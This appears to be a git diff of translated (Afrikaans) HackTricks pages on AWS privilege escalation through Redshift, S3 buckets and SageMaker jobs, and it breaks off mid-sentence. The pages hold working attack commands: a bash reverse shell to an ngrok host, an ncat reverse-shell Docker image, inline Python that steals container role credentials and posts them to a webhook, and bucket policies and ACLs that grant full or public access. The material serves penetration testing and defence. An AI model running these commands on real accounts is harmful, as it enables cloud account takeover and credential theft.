-Dit is moontlik om die **hoof wagwoord** van die interne postgres (redshit) gebruiker vanaf aws cli te **wysig** (Ek dink dit is die regte toestemmings wat jy nodig het, maar ek het dit nog nie getoets nie): +Dit is moontlik om die **meester-wagwoord** van die interne postgres (redshit) gebruiker vanaf die aws cli te wysig (ek dink dit is die permissies wat jy nodig het, maar ek het dit nog nie getoets nie): ``` aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; ``` -**Potensiële Impak:** Vind sensitiewe inligting binne die databasisse. +**Potensiële impak:** Vind sensitiewe inligting binne die databasisse. ## Toegang tot Eksterne Dienste > [!WARNING] -> Om toegang te verkry tot al die volgende hulpbronne, sal jy **die rol wat gebruik moet word** moet **specifiseer**. 'n Redshift-kluster **kan 'n lys van AWS-rolle toegeken hê** wat jy kan gebruik **as jy die ARN ken** of jy kan net "**default**" stel om die standaard een te gebruik. +> Om toegang tot al die volgende hulpbronne te kry, sal jy moet **die rol spesifiseer wat gebruik moet word**. 'n Redshift cluster **kan 'n lys van AWS roles toegeken hê** wat jy kan gebruik **as jy die ARN ken** of jy kan net "**default**" stel om die standaard een wat toegeken is te gebruik. -> Boonop, soos [**hier verduidelik**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), laat Redshift ook toe om rolle te concat (solank die eerste een die tweede een kan aanvaar) om verdere toegang te verkry, maar net **deur** hulle met 'n **komma** te **skei**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` +> Verder, soos [**hier verduidelik**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift laat ook toe om rolle aan mekaar te koppel (solank die eerste een die tweede kan aanneem) om verdere toegang te kry, maar deur hulle net met 'n **komma** te **skei**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` ### Lambdas -Soos verduidelik in [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), is dit moontlik om 'n **lambda-funksie vanaf redshift aan te roep** met iets soos: +Soos verduidelik in [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), dit is moontlik om 'n **lambda function van redshift aan te roep** met iets soos: ```sql CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT) RETURNS INT @@ -60,7 +60,7 @@ IAM_ROLE default; ``` ### S3 -Soos verduidelik in [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), is dit moontlik om **te lees en te skryf in S3-buckets**: +Soos verduidelik in [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), is dit moontlik om **in S3 buckets te lees en te skryf**: ```sql # Read copy table from 's3:///load/key_prefix' @@ -75,21 +75,21 @@ iam_role default; ``` ### Dynamo -Soos verduidelik in [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), is dit moontlik om **data van dynamodb te verkry**: +Soos uiteengesit in [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), is dit moontlik om **data van dynamodb te kry**: ```sql copy favoritemovies from 'dynamodb://ProductCatalog' iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; ``` > [!WARNING] -> Die Amazon DynamoDB tabel wat die data verskaf, moet in dieselfde AWS Region as jou kluster geskep word, tensy jy die [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) opsie gebruik om die AWS Region aan te dui waarin die Amazon DynamoDB tabel geleë is. +> Die Amazon DynamoDB-tabel wat die data verskaf, moet in dieselfde AWS Region as jou kluster geskep word, tensy jy die [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) opsie gebruik om die AWS Region waarin die Amazon DynamoDB-tabel geleë is, te spesifiseer. ### EMR -Kontroleer [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) +Kyk na [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) -## References +## Verwysings - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md deleted file mode 100644 index 96b86c329..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ /dev/null @@ -1,185 +0,0 @@ -# AWS - S3 Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 - -### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` - -'n Aanvaller met daardie toestemmings oor interessante emmers mag in staat wees om hulpbronne te kapen en voorregte te verhoog. - -Byvoorbeeld, 'n aanvaller met daardie **toestemmings oor 'n cloudformation emmer** genaamd "cf-templates-nohnwfax6a6i-us-east-1" sal in staat wees om die ontplooiing te kapen. Die toegang kan gegee word met die volgende beleid: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Action": [ -"s3:PutBucketNotification", -"s3:GetBucketNotification", -"s3:PutObject", -"s3:GetObject" -], -"Resource": [ -"arn:aws:s3:::cf-templates-*/*", -"arn:aws:s3:::cf-templates-*" -] -}, -{ -"Effect": "Allow", -"Action": "s3:ListAllMyBuckets", -"Resource": "*" -} -] -} -``` -En die kaapting is moontlik omdat daar 'n **klein tydvenster is vanaf die oomblik dat die sjabloon opgelaai word** na die emmer tot die oomblik dat die **sjabloon ontplooi word**. 'n Aanvaller kan eenvoudig 'n **lambda-funksie** in sy rekening skep wat **geaktiveer word wanneer 'n emmer kennisgewing gestuur word**, en **kaap** die **inhoud** van daardie **emmer**. - -![](<../../../images/image (174).png>) - -Die Pacu-module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) kan gebruik word om hierdie aanval te outomatiseer.\ -Vir meer inligting, kyk na die oorspronklike navorsing: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) - -### `s3:PutObject`, `s3:GetObject` - -Dit is die toestemmings om **objekte na S3 te kry en op te laai**. Verskeie dienste binne AWS (en buite dit) gebruik S3-stoor om **konfigurasie lêers** te stoor.\ -'n Aanvaller met **lees toegang** tot hulle kan **sensitiewe inligting** daarop vind.\ -'n Aanvaller met **skryf toegang** tot hulle kan **die data verander om 'n diens te misbruik en probeer om voorregte te verhoog**.\ -Hier is 'n paar voorbeelde: - -- As 'n EC2-instantie die **gebruikersdata in 'n S3-emmer** stoor, kan 'n aanvaller dit verander om **arbitraire kode binne die EC2-instantie uit te voer**. - -### `s3:PutObject`, `s3:GetObject` (opsioneel) oor terraform toestand lêer - -Dit is baie algemeen dat die [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) toestand lêers in blob stoor van wolkverskaffers gestoor word, bv. AWS S3. Die lêer-suffiks vir 'n toestand lêer is `.tfstate`, en die emmername gee dikwels ook weg dat hulle terraform toestand lêers bevat. Gewoonlik het elke AWS-rekening een sulke emmer om die toestand lêers te stoor wat die toestand van die rekening toon. Ook gewoonlik, in werklike wêreld rekeninge het amper altyd alle ontwikkelaars `s3:*` en soms selfs besigheidsgebruikers `s3:Put*`. - -So, as jy die toestemmings gelys oor hierdie lêers het, is daar 'n aanvalsvector wat jou toelaat om RCE in die pyplyn te verkry met die voorregte van `terraform` - meestal `AdministratorAccess`, wat jou die admin van die wolkrekening maak. Ook, jy kan daardie vektor gebruik om 'n ontkenning van diens aanval te doen deur `terraform` te laat verwyder legitieme hulpbronne. - -Volg die beskrywing in die *Misbruik van Terraform Toestand Lêers* afdeling van die *Terraform Sekuriteit* bladsy vir direk bruikbare eksploitkode: - -{{#ref}} -../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files -{{#endref}} - -### `s3:PutBucketPolicy` - -'n Aanvaller, wat **uit die selfde rekening** moet wees, anders sal die fout `Die gespesifiseerde metode is nie toegelaat nie` geaktiveer word, met hierdie toestemming sal in staat wees om vir homself meer toestemmings oor die emmer(s) toe te ken wat hom toelaat om te lees, te skryf, te verander, te verwyder en emmers bloot te stel. -```bash -# Update Bucket policy -aws s3api put-bucket-policy --policy file:///root/policy.json --bucket - -## JSON giving permissions to a user and mantaining some previous root access -{ -"Id": "Policy1568185116930", -"Version":"2012-10-17", -"Statement":[ -{ -"Effect":"Allow", -"Principal":{ -"AWS":"arn:aws:iam::123123123123:root" -}, -"Action":"s3:ListBucket", -"Resource":"arn:aws:s3:::somebucketname" -}, -{ -"Effect":"Allow", -"Principal":{ -"AWS":"arn:aws:iam::123123123123:user/username" -}, -"Action":"s3:*", -"Resource":"arn:aws:s3:::somebucketname/*" -} -] -} - -## JSON Public policy example -### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS -{ -"Id": "Policy1568185116930", -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "Stmt1568184932403", -"Action": [ -"s3:ListBucket" -], -"Effect": "Allow", -"Resource": "arn:aws:s3:::welcome", -"Principal": "*" -}, -{ -"Sid": "Stmt1568185007451", -"Action": [ -"s3:GetObject" -], -"Effect": "Allow", -"Resource": "arn:aws:s3:::welcome/*", -"Principal": "*" -} -] -} -``` -### `s3:GetBucketAcl`, `s3:PutBucketAcl` - -'n Aanvaller kan hierdie toestemmings misbruik om **meer toegang te verleen** oor spesifieke emmers.\ -Let daarop dat die aanvaller nie van dieselfde rekening hoef te wees nie. Boonop is die skryftoegang -```bash -# Update bucket ACL -aws s3api get-bucket-acl --bucket -aws s3api put-bucket-acl --bucket --access-control-policy file://acl.json - -##JSON ACL example -## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. -{ -"Owner": { -"DisplayName": "", -"ID": "" -}, -"Grants": [ -{ -"Grantee": { -"Type": "Group", -"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" -}, -"Permission": "FULL_CONTROL" -} -] -} -## An ACL should give you the permission WRITE_ACP to be able to put a new ACL -``` -### `s3:GetObjectAcl`, `s3:PutObjectAcl` - -'n Aanvaller kan hierdie toestemmings misbruik om hom meer toegang tot spesifieke voorwerpe binne emmers te verleen. -```bash -# Update bucket object ACL -aws s3api get-object-acl --bucket --key flag -aws s3api put-object-acl --bucket --key flag --access-control-policy file://objacl.json - -##JSON ACL example -## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. -{ -"Owner": { -"DisplayName": "", -"ID": "" -}, -"Grants": [ -{ -"Grantee": { -"Type": "Group", -"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" -}, -"Permission": "FULL_CONTROL" -} -] -} -## An ACL should give you the permission WRITE_ACP to be able to put a new ACL -``` -### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` - -'n Aanvaller met hierdie voorregte word verwag om 'n Acl op 'n spesifieke objekweergawe te kan plaas -```bash -aws s3api get-object-acl --bucket --key flag -aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md new file mode 100644 index 000000000..7b50e38bd --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md @@ -0,0 +1,186 @@ +# AWS - S3 Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 + +### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` + +’n aanvaller met daardie toestemmings oor relevante buckets kan hulpbronne kaap en bevoegdhede eskaleer. + +Byvoorbeeld, ’n aanvaller met daardie **toestemmings oor ’n cloudformation bucket** genaamd "cf-templates-nohnwfax6a6i-us-east-1" sal die deployment kan kaap. Toegang kan gegee word met die volgende beleid: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": [ +"s3:PutBucketNotification", +"s3:GetBucketNotification", +"s3:PutObject", +"s3:GetObject" +], +"Resource": [ +"arn:aws:s3:::cf-templates-*/*", +"arn:aws:s3:::cf-templates-*" +] +}, +{ +"Effect": "Allow", +"Action": "s3:ListAllMyBuckets", +"Resource": "*" +} +] +} +``` +En die kaping is moontlik omdat daar 'n **klein tydvenster vanaf die oomblik waarop die sjabloon na die bucket opgelaai word** tot die oomblik waarop die **sjabloon gedeplooi** word. 'n Aanvaller kan net 'n **lambda function** in sy rekening skep wat **getrigger word wanneer 'n bucket-notifikasie gestuur word**, en die **inhoud** van daardie **bucket** kaap. + +![](<../../../images/image (174).png>) + +Die Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) kan gebruik word om hierdie aanval te outomatiseer.\ +Vir meer inligting, sien die oorspronklike navorsing: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) + +### `s3:PutObject`, `s3:GetObject` + +Hierdie is die permissies om **objekte op te haal en op te laai na S3**. Verskeie dienste binne AWS (en buite dit) gebruik S3-opberging om **konfigurasielêers** te stoor.\ +'n Aanvaller met **read access** tot hierdie lêers kan moontlik **sensitiewe inligting** daarin vind.\ +'n Aanvaller met **write access** tot hierdie lêers kan die **data wysig om 'n diens te misbruik en probeer om privileges te eskaleer**.\ +Hier is 'n paar voorbeelde: + +- As 'n EC2-instance die **user data in 'n S3 bucket** stoor, kan 'n aanvaller dit wysig om **arbitrêre kode binne die EC2-instance uit te voer**. + +### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file + +Dit is baie algemeen dat die [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state-lêers na blob-opberging van cloud-verskaffers gestoor word, bv. AWS S3. Die lêeruitbreiding vir 'n state-lêer is `.tfstate`, en die bucket-name verraai dikwels dat hulle terraform state-lêers bevat. Gewoonlik het elke AWS-rekening so 'n bucket om die state-lêers te stoor wat die toestand van die rekening wys. +Ook in werklike rekeninge het byna altyd alle ontwikkelaars `s3:*` en soms selfs sakegebruikers `s3:Put*`. + +Dus, as jy die permissies oor hierdie lêers het, bestaan daar 'n aanvalsvektor wat jou toelaat om RCE in die pipeline te kry met die voorregte van `terraform` — meestal `AdministratorAccess`, wat jou die admin van die cloud-rekening maak. Ook kan jy daardie vektor gebruik om 'n denial of service-aanval te doen deur `terraform` gemagtig te maak om regsgrondige hulpbronne te verwyder. + +Follow the description in the *Abusing Terraform State Files* section of the *Terraform Security* page for directly usable exploit code: + +{{#ref}} +../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files +{{#endref}} + +### `s3:PutBucketPolicy` + +'n Aanvaller wat **uit dieselfde rekening** moet wees — anders sal die fout `The specified method is not allowed will trigger` voorkom — kan met hierdie permissie homself meer permissies oor die bucket(s) gee, wat hom toelaat om buckets te lees, skryf, wysig, uit te vee en bloot te stel. +```bash +# Update Bucket policy +aws s3api put-bucket-policy --policy file:///root/policy.json --bucket + +## JSON giving permissions to a user and mantaining some previous root access +{ +"Id": "Policy1568185116930", +"Version":"2012-10-17", +"Statement":[ +{ +"Effect":"Allow", +"Principal":{ +"AWS":"arn:aws:iam::123123123123:root" +}, +"Action":"s3:ListBucket", +"Resource":"arn:aws:s3:::somebucketname" +}, +{ +"Effect":"Allow", +"Principal":{ +"AWS":"arn:aws:iam::123123123123:user/username" +}, +"Action":"s3:*", +"Resource":"arn:aws:s3:::somebucketname/*" +} +] +} + +## JSON Public policy example +### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS +{ +"Id": "Policy1568185116930", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Stmt1568184932403", +"Action": [ +"s3:ListBucket" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome", +"Principal": "*" +}, +{ +"Sid": "Stmt1568185007451", +"Action": [ +"s3:GetObject" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome/*", +"Principal": "*" +} +] +} +``` +### `s3:GetBucketAcl`, `s3:PutBucketAcl` + +'n aanvaller kan hierdie permissies misbruik om hom meer toegang tot spesifieke buckets te gee.\ +Let wel dat die aanvaller nie uit dieselfde account hoef te wees nie. Verder gee die skryf-toegang +```bash +# Update bucket ACL +aws s3api get-bucket-acl --bucket +aws s3api put-bucket-acl --bucket --access-control-policy file://acl.json + +##JSON ACL example +## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. +{ +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] +} +## An ACL should give you the permission WRITE_ACP to be able to put a new ACL +``` +### `s3:GetObjectAcl`, `s3:PutObjectAcl` + +An attacker kan hierdie permissies misbruik om hom meer toegang tot spesifieke objects binne buckets te gee. +```bash +# Update bucket object ACL +aws s3api get-object-acl --bucket --key flag +aws s3api put-object-acl --bucket --key flag --access-control-policy file://objacl.json + +##JSON ACL example +## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. +{ +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] +} +## An ACL should give you the permission WRITE_ACP to be able to put a new ACL +``` +### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` + +Daar word verwag dat 'n aanvaller met hierdie voorregte in staat sal wees om 'n Acl aan 'n spesifieke objekweergawe toe te voeg. +```bash +aws s3api get-object-acl --bucket --key flag +aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md deleted file mode 100644 index e42834088..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ /dev/null @@ -1,106 +0,0 @@ -# AWS - Sagemaker Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## AWS - Sagemaker Privesc - - - -### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` - -Begin om 'n notaboek te skep met die IAM Rol wat daaraan gekoppel is: -```bash -aws sagemaker create-notebook-instance --notebook-instance-name example \ ---instance-type ml.t2.medium \ ---role-arn arn:aws:iam:::role/service-role/ -``` -Die antwoord moet 'n `NotebookInstanceArn` veld bevat, wat die ARN van die nuut geskepte notaboekinstansie sal bevat. Ons kan dan die `create-presigned-notebook-instance-url` API gebruik om 'n URL te genereer wat ons kan gebruik om toegang te verkry tot die notaboekinstansie sodra dit gereed is: -```bash -aws sagemaker create-presigned-notebook-instance-url \ ---notebook-instance-name -``` -Navigeer na die URL met die blaaier en klik op \`Open JupyterLab\` in die boonste regterkant, scroll dan af na die “Launcher” tab en onder die “Other” afdeling, klik op die “Terminal” knoppie. - -Nou is dit moontlik om toegang te verkry tot die metadata geloofsbriewe van die IAM Rol. - -**Potensiële Impak:** Privesc na die sagemaker diensrol wat gespesifiseer is. - -### `sagemaker:CreatePresignedNotebookInstanceUrl` - -As daar Jupyter **notebooks reeds aan die gang is** daarop en jy kan hulle lys met `sagemaker:ListNotebookInstances` (of hulle op enige ander manier ontdek). Jy kan **'n URL vir hulle genereer, toegang tot hulle verkry, en die geloofsbriewe steel soos aangedui in die vorige tegniek**. -```bash -aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name -``` -**Potensiële Impak:** Privesc na die sagemaker diensrol wat aangeheg is. - -### `sagemaker:CreateProcessingJob,iam:PassRole` - -'n Aanvaller met daardie toestemmings kan **sagemaker 'n verwerkingswerk** laat uitvoer met 'n sagemaker rol wat daaraan geheg is. Die aanvaller kan die definisie van die houer aandui wat in 'n **AWS bestuurde ECS rekening instansie** uitgevoer sal word, en **die akrediteer van die IAM rol wat aangeheg is** steel. -```bash -# I uploaded a python docker image to the ECR -aws sagemaker create-processing-job \ ---processing-job-name privescjob \ ---processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \ ---app-specification "{\"ImageUri\":\".dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \ ---role-arn - -# In my tests it took 10min to receive the shell -curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds -``` -**Potensiële Impak:** Privesc na die sagemaker diensrol wat gespesifiseer is. - -### `sagemaker:CreateTrainingJob`, `iam:PassRole` - -'n Aanvaller met daardie toestemmings sal in staat wees om 'n opleidingswerk te skep, **wat 'n arbitrêre houer** daarop laat loop met 'n **rol wat daaraan geheg is**. Daarom sal die aanvaller in staat wees om die akrediteer van die rol te steel. - -> [!WARNING] -> Hierdie scenario is moeiliker om te benut as die vorige een omdat jy 'n Docker-beeld moet genereer wat die rev shell of krediete direk na die aanvaller sal stuur (jy kan nie 'n beginopdrag in die konfigurasie van die opleidingswerk aandui nie). -> -> ```bash -> # Skep docker beeld -> mkdir /tmp/rev -> ## Let daarop dat die opleidingswerk 'n uitvoerbare genaamd "train" gaan aanroep -> ## Dit is waarom ek die rev shell in /bin/train plaas -> ## Stel die waardes van en -> cat > /tmp/rev/Dockerfile < FROM ubuntu -> RUN apt update && apt install -y ncat curl -> RUN printf '#!/bin/bash\nncat -e /bin/sh' > /bin/train -> RUN chmod +x /bin/train -> CMD ncat -e /bin/sh -> EOF -> -> cd /tmp/rev -> sudo docker build . -t reverseshell -> -> # Laai dit op na ECR -> sudo docker login -u AWS -p $(aws ecr get-login-password --region ) .dkr.ecr..amazonaws.com/ -> sudo docker tag reverseshell:latest .dkr.ecr..amazonaws.com/reverseshell:latest -> sudo docker push .dkr.ecr..amazonaws.com/reverseshell:latest -> ``` -```bash -# Create trainning job with the docker image created -aws sagemaker create-training-job \ ---training-job-name privescjob \ ---resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ ---algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ ---role-arn \ ---output-data-config '{"S3OutputPath": "s3://"}' \ ---stopping-condition '{"MaxRuntimeInSeconds": 600}' - -#To get the creds -curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer -``` -**Potensiële Impak:** Privesc na die sagemaker diensrol wat gespesifiseer is. - -### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` - -'n Aanvaller met daardie toestemmings sal (potensieel) in staat wees om 'n **hyperparameter opleidingswerk** te skep, **met 'n arbitrêre houer** daarop met 'n **rol aangeheg**.\ -_Ek het nie uitgebuit nie weens 'n gebrek aan tyd, maar dit lyk soortgelyk aan die vorige uitbuitings, voel vry om 'n PR met die uitbuitingsbesonderhede te stuur._ - -## Verwysings - -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md new file mode 100644 index 000000000..d643d421d --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md @@ -0,0 +1,260 @@ +# AWS - Sagemaker Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## AWS - Sagemaker Privesc + +### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` + +Begin om 'n notebook te skep met die IAM Role wat daaraan gekoppel is: +```bash +aws sagemaker create-notebook-instance --notebook-instance-name example \ +--instance-type ml.t2.medium \ +--role-arn arn:aws:iam:::role/service-role/ +``` +Die respons moet 'n `NotebookInstanceArn`-veld bevat, wat die ARN van die pas geskepte notebook instance sal bevat. Ons kan dan die `create-presigned-notebook-instance-url` API gebruik om 'n URL te genereer wat ons kan gebruik om toegang tot die notebook instance te kry sodra dit gereed is: +```bash +aws sagemaker create-presigned-notebook-instance-url \ +--notebook-instance-name +``` +Navigeer na die URL met die blaaier en klik op `Open JupyterLab`` in die boonste regterhoek, rol dan af na die “Launcher” tab en onder die “Other” afdeling klik op die “Terminal” knoppie. + +Nou is dit moontlik om toegang te kry tot die metadata credentials van die IAM Role. + +**Potensiële impak:** Privesc na die gespesifiseerde sagemaker service role. + +### `sagemaker:CreatePresignedNotebookInstanceUrl` + +As daar Jupyter **notebooks reeds daarop loop** en jy kan hulle lys met `sagemaker:ListNotebookInstances` (of hulle op enige ander wyse ontdek). Jy kan **'n URL daarvoor genereer, toegang daartoe verkry, en die credentials steel soos aangedui in die vorige tegniek**. +```bash +aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name +``` +**Potensiële impak:** Privesc na die sagemaker-diensrol wat daaraan gekoppel is. + +### `sagemaker:CreateProcessingJob`, `iam:PassRole` + +'n Aanvaller met daardie toestemmings kan laat **SageMaker 'n processing job uitvoer** met 'n SageMaker-rol daaraan gekoppel. Deur een van die AWS Deep Learning Containers te hergebruik wat reeds Python bevat (en deur die job in dieselfde streek as die URI te laat loop), kan jy inline-kode uitvoer sonder om jou eie beelde te bou: +```bash +REGION= +ROLE_ARN= +IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3 +ENV='{"W":"https://example.com/webhook"}' + +aws sagemaker create-processing-job \ +--processing-job-name privescjob \ +--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \ +--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \ +--environment "$ENV" \ +--role-arn $ROLE_ARN + +# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen. +``` +**Potensiële impak:** Privesc na die gespesifiseerde sagemaker-diensrol. + +### `sagemaker:CreateTrainingJob`, `iam:PassRole` + +'n Aanvaller met daardie toestemmings kan 'n training job begin wat arbitrêre kode uitvoer met die aangeduide rol. Deur 'n amptelike SageMaker-container te gebruik en die entrypoint met 'n inline payload te oorskryf, hoef jy nie jou eie images te bou nie: +```bash +REGION= +ROLE_ARN= +IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310 +ENV='{"W":"https://example.com/webhook"}' +OUTPUT_S3=s3:///training-output/ +# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3. + +aws sagemaker create-training-job \ +--training-job-name privesc-train \ +--role-arn $ROLE_ARN \ +--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \ +--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \ +--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \ +--stopping-condition '{"MaxRuntimeInSeconds":600}' \ +--environment "$ENV" + +# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol. +``` +**Potensiële impak:** Privesc na die gespesifiseerde SageMaker diensrol. + +### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` + +'n aanvaller met daardie permissies kan 'n HyperParameter Tuning Job begin wat aanvallerbeheerde kode uitvoer onder die 